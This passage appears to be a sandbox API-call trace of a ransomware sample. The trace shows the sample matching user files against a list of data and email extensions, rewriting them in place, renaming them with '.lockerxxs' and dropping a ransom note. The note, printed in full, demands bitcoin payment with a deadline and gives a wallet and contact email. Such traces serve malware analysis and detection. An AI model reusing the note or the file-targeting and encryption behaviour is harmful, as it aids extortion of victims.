HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.qif") returned 0 [0088.368] lstrlenA (lpString="*.qif") returned 5 [0088.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.mye") returned 0 [0088.368] lstrlenA (lpString="*.mye") returned 5 [0088.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.mbox") returned 0 [0088.368] lstrlenA (lpString="*.mbox") returned 6 [0088.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.eml") returned 0 [0088.368] lstrlenA (lpString="*.eml") returned 5 [0088.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.pst") returned 0 [0088.368] lstrlenA (lpString="*.pst") returned 5 [0088.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.ost") returned 0 [0088.368] lstrlenA (lpString="*.ost") returned 5 [0088.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.idx") returned 0 [0088.368] lstrlenA (lpString="*.idx") returned 5 [0088.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.dbx") returned 0 [0088.368] lstrlenA (lpString="*.dbx") returned 5 [0088.368] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.sql") returned 0 [0088.368] lstrlenA (lpString="*.sql") returned 5 [0088.369] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.mdb") returned 0 [0088.369] lstrlenA (lpString="*.mdb") returned 5 [0088.369] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.fdb") returned 0 [0088.369] lstrlenA (lpString="*.fdb") returned 5 [0088.369] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.wab") returned 0 [0088.369] lstrlenA (lpString="*.wab") returned 5 [0088.369] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", pszSpec="*.dat") returned 1 [0088.369] lstrlenA (lpString="*.dat") returned 5 [0088.369] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" [0088.369] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" [0088.369] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat." [0088.369] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat.lockerxxs" [0088.369] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0088.370] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8000 [0088.370] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28dbdd20, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28dbdd20, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xe1f2bdb0, dwHighDateTime=0x1d5e82a)) returned 1 [0088.370] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.370] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x7fda, lpOverlapped=0x0) returned 1 [0088.371] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned="index.dat" [0088.372] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.372] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x7fda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x7fda, lpOverlapped=0x0) returned 1 [0088.372] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.372] CloseHandle (hObject=0x98) returned 1 [0088.372] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat.lockerxxs")) returned 0 [0088.372] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2bc9ae40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52878dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0088.373] lstrcmpA (lpString1=".", lpString2="Low") returned -1 [0088.373] lstrcmpA (lpString1="..", lpString2="Low") returned -1 [0088.373] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned="index.dat" [0088.373] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="Low" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0088.373] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned 75 [0088.373] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2bc9ae40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52878dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0088.378] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.378] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2bc9ae40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52878dd0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0088.380] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.380] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.380] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44eb6480, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x44eb6480, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x44eb6480, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", cAlternateFileName="5P9943~1.TXT")) returned 1 [0088.380] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.380] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt") returned 1 [0088.380] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt") returned 1 [0088.381] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt") returned -1 [0088.381] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*.*") returned="*.*" [0088.381] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.381] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.381] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" [0088.381] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\how to decrypt files.txt")) returned 0xffffffff [0088.381] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0088.382] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0088.382] WriteFile (in: hFile=0x9c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0088.384] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.384] CloseHandle (hObject=0x9c) returned 1 [0088.384] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" [0088.384] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.ems") returned 0 [0088.384] lstrlenA (lpString="*.ems") returned 5 [0088.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.db") returned 0 [0088.385] lstrlenA (lpString="*.db") returned 4 [0088.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.dbf") returned 0 [0088.385] lstrlenA (lpString="*.dbf") returned 5 [0088.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.myox") returned 0 [0088.385] lstrlenA (lpString="*.myox") returned 6 [0088.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.myo") returned 0 [0088.385] lstrlenA (lpString="*.myo") returned 5 [0088.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.qbw") returned 0 [0088.385] lstrlenA (lpString="*.qbw") returned 5 [0088.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.qbb") returned 0 [0088.385] lstrlenA (lpString="*.qbb") returned 5 [0088.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.qbm") returned 0 [0088.385] lstrlenA (lpString="*.qbm") returned 5 [0088.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.qbo") returned 0 [0088.385] lstrlenA (lpString="*.qbo") returned 5 [0088.385] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.qbx") returned 0 [0088.385] lstrlenA (lpString="*.qbx") returned 5 [0088.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.qba") returned 0 [0088.386] lstrlenA (lpString="*.qba") returned 5 [0088.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.qby") returned 0 [0088.386] lstrlenA (lpString="*.qby") returned 5 [0088.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.qbj") returned 0 [0088.386] lstrlenA (lpString="*.qbj") returned 5 [0088.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.ofx") returned 0 [0088.386] lstrlenA (lpString="*.ofx") returned 5 [0088.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.qif") returned 0 [0088.386] lstrlenA (lpString="*.qif") returned 5 [0088.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.mye") returned 0 [0088.386] lstrlenA (lpString="*.mye") returned 5 [0088.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.mbox") returned 0 [0088.386] lstrlenA (lpString="*.mbox") returned 6 [0088.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.eml") returned 0 [0088.386] lstrlenA (lpString="*.eml") returned 5 [0088.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.pst") returned 0 [0088.387] lstrlenA (lpString="*.pst") returned 5 [0088.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.ost") returned 0 [0088.387] lstrlenA (lpString="*.ost") returned 5 [0088.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.idx") returned 0 [0088.387] lstrlenA (lpString="*.idx") returned 5 [0088.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.dbx") returned 0 [0088.387] lstrlenA (lpString="*.dbx") returned 5 [0088.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.sql") returned 0 [0088.387] lstrlenA (lpString="*.sql") returned 5 [0088.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.mdb") returned 0 [0088.387] lstrlenA (lpString="*.mdb") returned 5 [0088.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.fdb") returned 0 [0088.388] lstrlenA (lpString="*.fdb") returned 5 [0088.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.wab") returned 0 [0088.388] lstrlenA (lpString="*.wab") returned 5 [0088.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.dat") returned 0 [0088.388] lstrlenA (lpString="*.dat") returned 5 [0088.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", pszSpec="*.txt") returned 1 [0088.388] lstrlenA (lpString="*.txt") returned 5 [0088.388] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" [0088.388] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" [0088.388] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt." [0088.388] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.lockerxxs" [0088.388] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0088.390] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x66 [0088.390] GetFileTime (in: hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x44eb6480, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x44eb6480, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x44eb6480, dwHighDateTime=0x1d2faf3)) returned 1 [0088.390] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, 